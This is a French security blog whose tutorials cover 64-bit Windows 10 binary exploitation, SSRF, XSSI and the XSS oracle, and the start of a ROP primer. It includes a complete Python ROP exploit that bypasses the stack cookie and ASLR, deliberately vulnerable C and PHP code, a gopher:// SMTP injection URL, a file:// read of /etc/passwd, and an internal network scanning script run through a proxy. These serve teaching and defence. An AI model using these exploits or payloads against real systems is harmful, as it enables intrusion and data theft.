Daily Security - Journal de Geluchat

Exploitation d'un programme 64 bits sous Windows 10

2018-05-15T14:30:00+02:00

Introduction

Lorsque l'on débute dans le domaine de l'exploitation de binaire, notre choix se tourne le plus souvent vers Linux. En effet, beaucoup de challenges ont été développés sous Linux et la documentation sur l'exploitation Linux ne manque pas.

Néanmoins, créer des exploits pour Linux n'a pas le même impact que pour Windows, car celui-ci occupe une plus grosse part du marché.

Beaucoup de personnes que je connais savent exploiter des binaires sous Linux, mais très peu ont pris le temps de s’intéresser à l'exploitation sous Windows.

Cet article a donc pour but de détailler les différences entre l'exploitation Linux et Windows afin de permettre à ces personnes de faire le pas vers le monde de l'exploit Windows.

De plus, n'ayant trouvé aucune documentation permettant d'exploiter un binaire 64 bits lors de mes recherches sur l'exploitation de binaire sous Windows, j'ai décidé de présenter un cas d'étude concret d'exploit 64 bits sous Windows 10 RS4 avec toutes les protections par défaut activées.

Prérequis

Les bases de l'exploitation sous Linux :

connaître la plupart des failles communes ;
connaître les protections sous Linux (ASLR, NX, PIE, SSP, RELRO)
savoir faire une ROP chain ou à minima un ret2libc.

Pour tester l'exemple, vous pouvez télécharger une VM Windows 10 64 bits dernière version sur le site de Microsoft.

Je vous conseille aussi de lire les articles de Corelan qui donnent une bonne idée des exploits sous Windows en 32 bits.

Par ailleurs, je recommande IDA en tant que désassembleur et débugger; c'est celui que je vais utiliser tout au long de l’article.

Cela étant dit, passons au vif du sujet.

Les différences entre les protections Linux et Windows

Lorsque l'on arrive dans le monde de Windows, on découvre que certaines protections sont équivalentes à d’autres sur Linux, mais ne portent pas le même nom. Il arrive aussi que d'autres aient le même nom mais un comportement différent, comme par exemple l'ASLR.

L'ASLR Windows est très différent de l'ASLR Linux. Premièrement, il n'est pas activé globalement sur le système ; cela implique donc que chaque binaire, chaque bibliothèque, peut être compilé avec l'ASLR activé ou non. Et deuxièmement, il fait aussi office de PIE : en plus de la randomisation des adresses de la stack et de la heap, chaque module (binaire/bibliothèque) est mappé à des adresses différentes à chaque redémarrage de la machine.

Cependant, le dernier point comporte deux défauts majeurs :

comme l'ASLR Windows n'est initialisé qu'au démarrage, l’adresse de base du programme ne change pas entre deux exécutions successives (ex : le programme crashe et est redémarré) ;
l'adresse de base des bibliothèques chargées est la même pour tous les programmes (voir image ci-dessous).

On peut voir que sur ces deux programmes, les adresses de ntdll.dll et de kernel32.dll sont les mêmes.

L'aspect PIE de l'ASLR Windows est donc quasiment inutile pour de l'exploitation locale : il suffit juste de lancer un programme qui récupère les adresses de ses propres bibliothèques chargées en mémoire et de les utiliser pour construire notre ROP chain.

Remarque : on peut noter que l'adresse de base de chall.exe et celle python.exe sont différentes.

Windows a aussi un équivalent de NX nommé la DEP (Data Execution Prevention) qui fonctionne pratiquement pareil que NX dans sa version actuelle. Il était autrefois possible de distinguer la DEP software de la DEP hardware lorsque celle-ci n'était pas supportée sur les processeurs mais nous passerons sur ce point étant donné qu'il est déjà très bien couvert par les articles de Corelan et obsolète dans notre cas qui consiste à étudier les protections sur les dernières moutures de Windows. Nous dirons donc que la DEP est une DEP hardware et donc présente sur tous les binaires.

On y retrouve aussi un stack canary nommé GS protection qui fonctionne lui aussi à peu de choses près comme le canary Linux.

L'ASLR, la DEP ainsi que le GS forme ainsi les protections les plus communes actuellement car activées par défaut.

On pourrait en citer d'autres, comme le SafeSEH qui s'occupe d'éviter les corruptions de la chaîne SEH (celle qui s'occupe de gérer les exceptions dans un programme), ou des protections plus récentes et désactivées par défaut par Visual Studio 2017 tel que la CFG (Control Flow Guard) contrôlant les appels indirects de fonctions (ex: call rax). Un contrôle du pointeur contenu dans le registre à appeler est effectué avant le call afin d'éviter les corruptions de pointeurs de fonction (ex : vtable overwrite).

On peut lister les protections d'un binaire en utilisant Process Hacker ou Get-PESecurity :

Étude de cas - Exploitation d'un binaire 64 bits sous Windows 10

Sans plus attendre, voici notre exemple de programme à exploiter :

#ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif

#include <stdlib.h>
#include <stdio.h>
#include <io.h>

int main(int argc, char **argv)
{
    unsigned int real_size;
    char badbuffer[64];
    for (int i = 0; i < 2; i++)
    {
        _write(1, "Size : ", 7);
        scanf("%u", &real_size);
        _write(1, "Input : ", 8);
        scanf("%s", badbuffer);
        _write(1, badbuffer, real_size);
        _write(1, "Done\n", 5);
    }
    return 0;
}

Pour notre exemple, j'ai compilé le binaire avec Visual Studio 2017 en laissant les options par défaut (lien vers le binaire).

En regardant le code source du programme, on repère facilement plusieurs vulnérabilités :

le second appel à scanf() ne contrôle pas la taille en entrée : buffer overflow ;
un des write() utilise la valeur récupérée dans le premier scanf() en tant que taille à envoyer sur stdout : fuite de mémoire.

On note aussi que l'opération a lieu deux fois (boucle for).

Ci-dessous un exemple de lancement du programme :

Les étapes de l'exploit

Afin d'exploiter ce programme, nous allons procéder en plusieurs étapes :

récupération du canary/cookie - bypass GS protection ;
récupération de l'adresse de retour afin de récupérer l'adresse de base du programme ainsi que de permettre au programme de ne pas crasher à la fin de l'exploit ;
récupération des adresses de ntdll.dll et kernel32.dll - bypass ASLR/PIE ;
calcul des adresses de nos gadgets et des offsets des fonctions utilisées par notre ROP chain ;
équivalent d'un ret2libc afin de placer notre commande dans le .data (dans notre cas nous allons faire apparaître une calculatrice) - bypass DEP ;
équivalent d'un ret2libc de system afin de faire apparaître la calculatrice.

Récupération de l'adresse de retour, du cookie et récupération des bibliothèques

La récupération du cookie, de l'adresse de retour du main ainsi que le calcul de l'adresse de base du programme se fait exactement de la même façon que sous Linux. Un petit rappel de la structure de la stack :

+-------------------------+
|        Save RIP         |
+-------------------------+
|        Save RBP         |
+-------------------------+
|        Padding          |
+-------------------------+
|        Cookie           |
+-------------------------+
|    char badbuffer[64]   |
+-------------------------+

Le script de récupération des adresses en utilisant la fuite de mémoire :

from struct import pack,unpack
from subprocess import Popen, PIPE

process=0

def getProcess():
    global process
    process = Popen([r'./chall.exe'], stdin=PIPE, stdout=PIPE)

def getLeak():
    global process
    process.stdin.write(str(600)+"\n")
    process.stdin.write("a"*60+"\n")
    return process.stdout.readline()

def printLeak(leak):
    for i in range(0,len(leak)/8,8):
        print hex(unpack('<Q',leak[i:i+8])[0])

getProcess()
leak=getLeak()[79:]
#printLeak(leak)

cookie=unpack('<Q',leak[:8])[0]
ret_addr=unpack('<Q',leak[0x18:0x20])[0]
base_addr=ret_addr-0x36c # offset address after call main

print("[+] chall.exe base address : 0x%x"     % base_addr)
print("[+] ret address : 0x%x"                % ret_addr)
print("[+] cookie value : 0x%x"               % cookie)

En revanche, la récupération des adresses de kernel32.dll et ntdll.dll est beaucoup plus spécifique à Windows. Comme indiqué tout à l'heure, on peut se servir (en local) d'un autre programme que l'on contrôle afin de récupérer les adresses de bibliothèques mappées en mémoire (celles-ci ne changeant qu'à chaque redémarrage de la machine). On peut donc utiliser les fonctions OpenProcess() et EnumProcessModules() afin de lister les bibliothèque du processus contrôlé. Dans notre cas, nous allons utiliser le processus python.exe (celui de notre exploit) ainsi que la bibliothèque python win32api qui nous permet de communiquer avec, comme son nom l'indique, l'API Windows :

import win32process
import win32api
import os

processHandle = win32api.OpenProcess(0x1F0FFF, False,os.getpid()) # 0x1F0FFF correspond à 'PROCESS_ALL_ACCESS'
modules = win32process.EnumProcessModules(processHandle)
processHandle.close()

print '\n'.join(["0x%x : %s" % (x,win32api.GetModuleFileName(x)) for x in modules])

ntdll_base=modules[1] # ntdll
kernel32_base=modules[2] # kernel32

print("[+] ntdll.dll base address : 0x%x"     % ntdll_base)
print("[+] kernel32.dll base address : 0x%x"  % kernel32_base)

Nous avons toutes nos adresses de base, passons donc maintenant à la création de notre ROP chain.

Création de la ROP chain

Avant de débuter la création de notre ROP chain, je dois vous présenter la convention d'appel de Windows 64 bits la plus commune : la convention __fastcall.

Celle-ci est utilisée pour quasiment tous les appels de fonctions, et fonctionne de la façon suivante :

les 4 premiers arguments de la fonction sont mis respectivement dans les registres rcx, rdx, r8 et r9 ;
un padding de 32 bytes est fait sur la stack (nommé shadow space), celui-ci est utilisé par la fonction appelée pour déplacer les 4 premiers arguments sur la stack (8*4 = 32 bytes) ;
les arguments restants sont placés sur la stack après le shadow space ;
la stack doit être alignée sur 16 bytes (très important sinon le programme risque de crasher).

Un petit schéma pour mieux comprendre :

+-------------------------+    rcx = 1er argument, rdx = 2ème argument
|      Called function    |    r8  = 3ème argument, r9 = 4ème argument
+-------------------------+
|       Return addr       |
+-------------------------+
|     Shadow space * 4    |
+-------------------------+
|     4+n argument * X    |    X peut être égale à zéro
+-------------------------+

Remarque : En mode de compilation Debug, le shadow space est initialisé aux valeurs des arguments afin de faciliter le débugging : source.

C'est cette convention qu'il faudra respecter lors de l'appel aux fonctions dans notre ROP chain.

En parlant des fonctions à appeler, nous allons dans notre exemple utiliser la fonction WinExec située dans kernel32.dll et qui permet d’exécuter une commande :

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow // 0 = Hide , 1 = Visible
);

Cette fonction prend deux paramètres, il nous faut donc un pop rcx ; ret ainsi qu'un pop rdx ; ret .

Remarque : afin de limiter l'exploitation, le compilateur inclut très peu de gadgets pop rcx ; ret et pop rdx ; ret dans les binaires, c'est pourquoi nous irons chercher ces gadgets dans une grosse bibliothèque telle que ntdll.dll

Pour cela, on utilise rp++ codé par 0vercl0k de manière à lister les gadgets présents dans ntdll.dll :

C:\Users\Geluchat\Desktop>rp-win-x64.exe --file=ntdll.dll --rop=16 > gadgetndtll

Ce qui nous donne les gadgets suivants :

0x18008d03d: pop rcx ; ret  ;  (1 found)
0x18008aa07: pop rdx ; pop r11 ; ret  ;  (1 found)

Remarque : je n'ai pas trouvé de gadget pop rdx ; ret clean, il faudra donc ajouter un padding de 8 derrière la valeur souhaitée dans rdx afin de remplir le registre r11.

Il ne reste plus qu'à faire appel à la fonction voulue tout en respectant l'alignement de la stack sur 16 bytes.

Pour cela, il faudra que lors de l'appel à la fonction dans notre ROP chain, la valeur du registre RSP soit un multiple de 16 (termine par 0, 0x10, 0x20, etc). Le gadget retsera utilisé pour aligner la stack.

De plus, nous aurons besoin d'un gadget pop x ; pop x ; pop x ; pop x ; ret de façon à continuer notre ROP chain après le shadow space :

+-------------------------+
|      Called function    |
+-------------------------+
|         Pop4ret         |---->+
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Next gadget       |<----+
+-------------------------+

0x1800f5510: ret  ;  (1 found)
0x1800e31de: pop r14 ; pop r13 ; pop rdi ; pop rsi ; ret  ;  (1 found)

Je rappelle que le but de notre ROP chain est de faire apparaître une calculatrice. Pour cela, nous utiliserons la fonction scanf() afin de placer calc.exe\x00 dans la section .data du binaire.

Il ne reste ensuite plus qu'à appeler WinExec(data_addr, 1); afin de finaliser notre exploit !

Récupération des adresses de scanf() dans le binaire et WinExec() dans kernel32.dll :

winexec_addr=kernel32_base + 0x5E750 # Base address at 0x180000000 : 0x18005E750  - 0x180000000 = 0x5E750
scanf_addr=base_addr + 0x10 # Base address at 0x140001000 : 0x140001010 - 0x140001000 = 0x10
poprcx=ntdll_base + 0x8d03d
poprdxr11=ntdll_base + 0x8aa07
retgadget=ntdll_base + 0xf5510
pop4ret=ntdll_base + 0xe31de
s_addr=base_addr + 0x126c
data_addr=base_addr + 0x2600

On forme ensuite notre ROP chain :

ropchain="a"*64 + pack('<Q',cookie) + "b"*16
#scanf("%s",data_addr);
ropchain+=pack('<Q',poprcx) + pack('<Q',s_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',data_addr) +"a"*8  # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',scanf_addr) + pack('<Q',pop4ret) # call scanf + set return addr to pop4ret to jump over the shadow space
ropchain+="b"*0x20 # Padding to return address (shadow space size)
#WinExec(data_addr,1);
ropchain+=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + "a"*8 # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',retgadget) + pack('<Q',winexec_addr) # Align rsp using ret + call WinExec
ropchain+=pack('<Q',ret_addr) # Set return address to the real main return value

Et voilà !

Exploit

Voici l'exploit final qui regroupe les étapes du dessus et fait apparaître une calculatrice :

from struct import pack,unpack
from subprocess import Popen, PIPE
import win32process
import win32api
import os

process=0

def getProcess():
    global process
    process = Popen([r'./chall.exe'], stdin=PIPE, stdout=PIPE)

def getLeak():
    global process
    process.stdin.write(str(600)+"\n")
    process.stdin.write("a"*60+"\n")
    return process.stdout.readline()

def printLeak(leak):
    for i in range(0,len(leak)/8,8):
        print hex(unpack('<Q',leak[i:i+8])[0])

def exploit(ropchain):
    process.stdin.write(str(600)+"\n")
    process.stdin.write(ropchain+"\n")
    process.stdin.write('calc.exe\x00\n') # for the scanf inside the ropchain

getProcess()
leak=getLeak()[79:]

#printLeak(leak)

processHandle = win32api.OpenProcess(0x1F0FFF, False, os.getpid())
modules = win32process.EnumProcessModules(processHandle)
processHandle.close()

#print '\n'.join(["0x%x : %s" % (x,win32api.GetModuleFileName(x)) for x in modules])

ntdll_base=modules[1] # ntdll
kernel32_base=modules[2] # kernel32
ret_addr=unpack('<Q',leak[0x18:0x20])[0]
base_addr=ret_addr - 0x36c # offset address after call main
cookie=unpack('<Q',leak[:8])[0]

poprcx=ntdll_base + 0x8d03d
poprdxr11=ntdll_base + 0x8aa07
retgadget=ntdll_base + 0xf5510
pop4ret=ntdll_base + 0xe31de
s_addr=base_addr + 0x126c
winexec_addr=kernel32_base + 0x5E750
data_addr=base_addr + 0x2600
scanf_addr=base_addr + 0x10

print("[+] chall.exe base address : 0x%x"     % base_addr)
print("[+] ntdll.dll base address : 0x%x"     % ntdll_base)
print("[+] kernel32.dll base address : 0x%x"  % kernel32_base)
print("[+] cookie value : 0x%x"               % cookie)
print("[+] Winexec address : 0x%x"            % winexec_addr)
print("[+] scanf address : 0x%x"              % scanf_addr)
print("[+] ret address : 0x%x"                % ret_addr)

print("[+] Build ropchain")

ropchain="a"*64 + pack('<Q',cookie) + "b"*16
#scanf("%s",data_addr);
ropchain+=pack('<Q',poprcx) + pack('<Q',s_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',data_addr) +"a"*8  # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',scanf_addr) + pack('<Q',pop4ret) # call scanf + set return addr to pop4ret to jump over the shadow space
ropchain+="b"*0x20 # Padding to return address (shadow space size)
#WinExec(data_addr,1);
ropchain+=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + "a"*8 # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',retgadget) + pack('<Q',winexec_addr) # Align rsp using ret + call WinExec
ropchain+=pack('<Q',ret_addr) # Set return address to the real main return value
print("[+] Trigger overflow...")
exploit(ropchain)
print("[+] Gimme that calc")

Et hop, une calculatrice !

Nous avons pu voir dans cet article que l'exploitation de binaire sous Windows n'est pas si différente de celle sous Linux.

J'espère que cet article aura donné envie aux pwners Linux d'aller tester leurs compétences sur des binaires Windows.

Si cela vous intéresse, je vous laisse avec un ancien challenge proposé par Blue Frost Security situé juste ici.

Le but est simple : faire pop une calculatrice sans faire crasher le service. Le challenge en lui même est plutôt facile et vous permettra de vous entraîner aux exploits sous Windows.

Remarque : IDA < 7.0 ne debug pas les binaires 64 bits nativement, néanmoins il permet tout de même le debug à distance (localhost dans votre cas) en lançant le programme "win64_remotex64.exe" situé dans le dossier dbgsrv de IDA et en utilisant l'option Remote Windows Debugger.

Voilà, c’est déjà terminé, n’hésitez pas à suivre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Un grand merci à SIben et Mastho pour la correction de l'article !

Geluchat.

Les Server Side Request Forgery : Comment contourner un pare-feu

2017-09-16T00:40:00+02:00

Qu'est ce que les Server Side Request Forgery ?

Les Server Side Request Forgery, ou en abrégé SSRF, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur local.

Il ne faut pas les confondre avec les CSRF (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une requête à l'insu d'un autre utilisateur.

Un des gros avantages des SSRF est la possibilité de contourner les pare-feux.

En effet, les actions se faisant côté serveur, il est possible d'interroger des services n'étant disponibles que localement tels que :

Des bases de données NoSQL : Redis, MongoDB.
Des bases de données relationnelles : Oracle, MSSQL, MySQL, PostgreSQL.
Des services mail : Postfix, Dovecot.
Des services Web accessibles localement.

Ce genre de faille est particulièrement présent sur les proxy Web : Un utilisateur du service proxy peut avoir accès à des données internes au serveur, données auxquelles il n'aurait normalement pas du avoir accès.

Le schéma suivant montre un exemple d'attaque sur un proxy Web n'ayant pas protégé son adresse locale contre les SSRF :

On remarque que l'adresse locale est résolue côté serveur et permet à l'attaquant de récupérer le contenu du dossier secret.

Voyons maintenant les différents types d'exploitation possibles en rapport avec les SSRF.

Comment exploiter une SSRF : Les schémas d'attaque

Nous avons vus précédemment l'exemple de l'exploitation d'un proxy Web, mais il existe une multitude de schémas d'attaque.

L'exemple du proxy Web utilise le protocole HTTP pour accéder à des données internes.

Nous sommes alors en droit de nous poser une question :
Comment faire pour communiquer avec les autres services (bases de données, services e-mail, etc...) ?

Prenons l'exemple suivant :

<?php 

$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => $_GET['url']
));

$resp = curl_exec($curl);
curl_close($curl);

?>

Cet exemple prend en entrée une adresse et récupère la page associée, le module curl de PHP est une simple adaptation de la commande système curl http://votreurl.com.

On peut donc utiliser toutes les fonctionnalités de curl, en particulier celles liées à la sémantique de l'adresse envoyée au script : [protocole]://[IP|nomDeDomaine]:[port]/[param]

Le plus important, le protocole à utiliser : http, https, ftp, gopher, file, dict, etc.
L'adresse.
Le port distant.
Un ou plusieurs paramètres d'accès, par exemple un dossier ou un fichier.

La liste des protocoles implémentés par curl est disponible ici.

Les protocoles file:// et http://

Un protocole attire notre attention : le protocole file:// , celui-ci permet d'ouvrir un fichier sur le serveur.

En utilisant le script précédent, on peut essayer de lire le fichier /etc/passwd sur le serveur, ce qui donne en action :

Nous avons maintenant accès à n'importe quel fichier du serveur !

Le protocole file:// nous a permis d'accéder à des fichiers mais comment faire pour communiquer avec les différents services présents sur la machine ?

L'excellent article de Nicolas Grégoire est un très bon exemple de SSRF sur un service : la base de données NoSQL Redis.

Redis, comme MongoDB, est une base de données NoSQL sans authentification par défaut.

L'article explique comment, à l'aide de requêtes HTTP, extraire des données de la base, modifier cette dernière ou même lire des fichiers sur le système.

Le principal souci de cette méthode est qu'une requête HTTP est obligée d'avoir un format spécifique afin d'être correcte :

GET /index.html
Host: www.dailysecurity.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br

Ce format restreint l'exploitation de service, par exemple l'accès à un service qui a besoin d'un préambule bien précis.

Exemple d'accès à la base de données Redis avec une requête HTTP :

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Connection:'

Le protocole gopher://

Afin de palier au problème de format, nous pouvons utiliser le protocole gopher://.

Gopher est un protocole concurrent de HTTP qui n'est plus vraiment utilisé mais toujours supporté par curl.

Il va nous permettre de communiquer avec les services type telnet comme par exemple le service SMTP (e-mail) :
ps : 1. Pour les sauts de ligne, on doit les encoder deux fois.
2. La première lettre de la requête est aléatoire (x dans l'exemple) car non prise en compte par le protocole gopher.

On cherche à envoyer un e-mail en utilisant le serveur SMTP disponible localement.

Contenu du message :

HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT

Ce qui donne en version Gopher : https://victim.website/curl.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Pour tester notre SSRF, on met en place un serveur netcat sur le port 25 (associé au protocole SMTP) et on attend la requête :

nc -lvp 25
listening on [any] 25 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35417
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: AH AH AH

You didn't say the magic word !

.
QUIT

Une autre exemple d'utilisation des SSRF : L'énumération d'adresses IP sur le réseau local

Nous avons vu dans les parties précédentes que les SSRF jouaient le rôle de proxy afin d’exécuter des requêtes internes.

Elles peuvent alors servir d'outil pour l'énumération des machines dans les sous-réseaux accessibles.

La seule contrainte est que le machine à détecter doit avoir au moins un service ouvert.

Les services les plus communs sont le plus souvent des services Web ou SSH (ports 80, 443, 8080, 22) voire RDP (port 3389) sur Windows.

On peut deviner les sous-réseaux accessibles grâce aux fichiers de configuration de Apache ( /etc/apache2/apache2.conf) ou en cherchant dans les plages d'adresses IP des réseaux privés :

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

Pour énumérer les machines disponibles ayant un service HTTP sur le port 80 on peut utiliser le script suivant :

import requests

def ipRange(start_ip, end_ip):
   start = list(map(int, start_ip.split(".")))
   end = list(map(int, end_ip.split(".")))
   temp = start
   ip_range = []
   ip_range.append(start_ip)
   while temp != end:
      start[3] += 1
      for i in (3, 2, 1):
         if temp[i] == 256:
            temp[i] = 0
            temp[i-1] += 1
      ip_range.append(".".join(map(str, temp)))    
   return ip_range

ip_range = ipRange("192.168.0.0", "192.168.255.255")
ip_up = []
for ip in ip_range:
    try:
        result = requests.get("http://victime.website/curl.php?url=http://"+ip+"/:80",timeout=0.5).content
        if(result is not ""):
            ip_up.append(ip)
            print "[+] Machine : "+ip
    except:
        pass

print("\n".join(ip_up))

Afin de sécuriser une application contre les SSRF, il faut vérifier :

Le protocole utilisé : autoriser seulement http et https.
L'adresse IP liée à l'URL demandée ne doit pas faire partie d'un réseau privé.

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Les XSSI : Les limites de la Same-origin policy !

2017-09-13T19:30:00+02:00

Qu'est-ce que la Same-origin policy :

La Same-origin policy ou plus simplement SOP est l'une des protections les plus importantes du navigateur.

Elle sert à vérifier que les contenus chargés sur la page proviennent du même domaine que celle-ci.

La documentation de Firefox nous donne un tableau qui montre comment fonctionnent ces vérifications :

Pour faire simple, la SOP évite qu'un attaquant puisse récupérer des informations d'un autre site avec les droits de l'utilisateur connecté.

Prenons l'exemple suivant qui montre un schéma d'attaque avec la SOP désactivée côté utilisateur :

On voit ici que sans la SOP n'importe quel site visité peut accéder à un autre site en utilisant les cookies de l'utilisateur.

Lorsque la SOP est activée, une erreur apparaitra à l'étape 2 :

Blocage d’une requête multiorigines (Cross-Origin Request) : la politique « Same Origin » ne permet pas de consulter la ressource distante.

Les limites de la SOP

Nous avons vu rapidement comment fonctionne la SOP, reste maintenant à voir les limites de cette protection.

En effet, la SOP doit être assez permissive pour pouvoir afficher des images ou charger du Javascript externe.

Les exemples suivants ne sont donc pas soumis à cette protection :

La balise <img> :

<img src="http://externe.dtd/image.png" />

La balise <script> :

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

D'autres exemples de balises telles que les balises link ou video sont disponibles dans la documentation de Firefox.

Ce mécanisme permissif permet d'envisager un scénario dans lequel la SOP ne fonctionne pas : l'utilisation de XSSI !

Les XSSI

Alors, une XSSI, c'est quoi ?

Une XSSI, abréviation de Cross Site Script Inclusion, est le fait d'inclure une page distante ayant un contenu en Javascript.

En effet, la balise <script> inclut, via son attribut src, une page externe qui est chargée comme étant du Javascript.

Prenons l'exemple de script PHP disponible ici.

Dans notre exemple, on suppose que la fonction get_user_info() récupère les informations dans une base de données grâce au cookie utilisateur :

<?php
// Charge la session utilisateur
session_start();
function get_user_info()
{
    // TODO : Récupérer les informations de l'utilisateur courant dans la base de données
    // Dans notre exemple, les informations seront hardcodées
    $info = "{'user' : 'Geluchat', 'API_KEY' : 'l3x11sG00dBuT3l54J34n1sB3tt3r'}";
    return $info;
}
header('Content-Type: application/javascript');
$build_response = "var info = [". get_user_info() ."];";
echo $build_response;

On remarque que le script PHP change le Content-type de la page. On peut supposer que pour des raisons pratiques les informations sont chargées dynamiquement sur le site via du Javascript.

En revanche, ce type d'utilisation n'est pas du tout sécurisé comme le montre le script suivant :

<script src="https://www.dailysecurity.fr/labs/info.php"></script>
<script type='text/javascript'>
alert(JSON.stringify(info));
</script>

Vous pouvez faire le test chez vous depuis un fichier local ou sur un serveur distant, les informations de l'utilisateur sont affichées (en tenant compte de son cookie) :

Un attaquant peut alors mettre en place le système suivant :

Il existe des moyens permettant de charger d'autres types de fichiers (CSV, JSON) en jouant avec le charset des éléments HTML comme le montre ce document.

Néanmoins, la plupart des contournements présentés ne fonctionnent plus sur les versions récentes des navigateurs.

Les XSS Oracle

Un exemple plus poussé des XSSI est présenté dans l'article de Hurricane Labs.

Cet article détaille une méthode jusqu'ici méconnue utilisant à la fois les XSSI et les codes de retour HTTP.

Admettons qu'une page d'un site retourne différents codes HTTP (200, 404, 302, etc...) en réponse à différentes requêtes de type GET.

Il serait alors possible de récupérer ces codes à l'aide du handler onerror.

En effet, en jouant avec ces handlers, il est possible d'extraire des données par le même procédé que lors d'une Blind SQL injection (c-à-d caractère par caractère) comme montré dans le script suivant :

<script>
function http200()
{
    alert("HTTP 200")
}
function http404()
{
    alert("HTTP 404")
}
</script>
<script src="https://www.dailysecurity.fr/labs/httpResponse.php" async="async" onerror=http404() onload=http200()></script>

httpResponse.php :

<?php
if(rand(0,1))
{
    http_response_code(200);
}
else 
{
    http_response_code(404);
}
die();

On peut donc faire la différence entre deux réponses grâce aux codes HTTP et aux handlers d'erreurs !

Le mécanisme ci-dessus, permettant de savoir si une réponse est vraie ou fausse, est appelé Oracle XSS.

Quelle utilité peut-on trouver à cette méthode ?

Si le site distant possède un système de recherche d'utilisateurs uniquement disponible pour l’administrateur, on peut les lister ces utilisateurs en comparant les retours des codes HTTP.

Il faudra bien sûr que la personne connectée soit l'administrateur du site.

Exemple de scénario d'attaque via un oracle XSS :

GET /admin/search.php?user=j*  -> 200 // 'j' est donc notre premier caractère.
GET /admin/search.php?user=ja* -> 404 // Aucun utilisateur ne commence par 'ja' on teste donc la lettre suivante.
GET /admin/search.php?user=jb* -> 404
GET /admin/search.php?user=jc* -> 404
GET /admin/search.php?user=jd* -> 404
GET /admin/search.php?user=je* -> 200
---
snip
---
GET /admin/search.php?user=jean -> 200 // Nous avons récupéré l'utilisateur 'jean' !

Afin de stopper ce genre d'attaque, on peut utiliser les méthodes suivantes :

On ajoute le header X-Content-Type-Options: nosniff, celui-ci protégeant des attaques sur les Content-Type.
On évite de mettre des informations utilisateur dans des fichiers Javascript.

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Petit Manuel du ROP à l'usage des débutants

2017-09-02T02:09:00+02:00

De retour !

Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un article annoncé sur Twitter il y a déjà plusieurs mois.

Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).

Dans cet article, je vais vous expliquer une méthode de ROP qui fonctionne la plupart du temps et qui a l'avantage de ne pas utiliser l'instruction int 0x80 ; ce genre d'instruction étant souvent rare dans un binaire.

Les prérequis (fortement recommandés) :

Je vous conseille tout d'abord d'aller voir les deux articles de l'ami hackndo disponibles ici et ici.

Il y explique le fonctionnement des gadgets ainsi que les bases du ROP avec le ret2libc et l'instruction int 0x80 .

Pour aller plus loin sur les différentes utilisations des gadgets vous pouvez vous rendre sur le site de tosh qui contient un magnifique article sur les techniques de ROP.

De plus, des bases sur le fonctionnement classique des buffer overflows sont obligatoires (sinon que faites vous sur cet article ?).

Le ROP, c'est quoi ?

Avant d'entrer dans le vif du sujet, nous allons revoir ensemble les principes du ROP.

Le ROP sert principalement à contourner la protection NX, celle-ci empêche l'utilisateur d’exécuter un shellcode en mappant la stack en non-executable (No-eXecutable).

Il permet aussi de participer à déjouer l'ALSR qui rend aléatoire la base de nos adresses dans la stack ainsi que dans la libc.

Afin d'exécuter notre code, on utilise alors des gadgets qui sont des morceaux de code présents dans les sections exécutables de notre binaire.

Pour mieux comprendre l’intérêt et le fonctionnement du ROP, voyons l'étude de cas suivante :

testrop.c :

#include <stdlib.h>
#include <stdio.h>

void vuln()
{
  char buffer[64];
  printf("Input: \n");
  scanf("%s",buffer);
}
int main(int argc, char **argv)
{
  vuln();
}

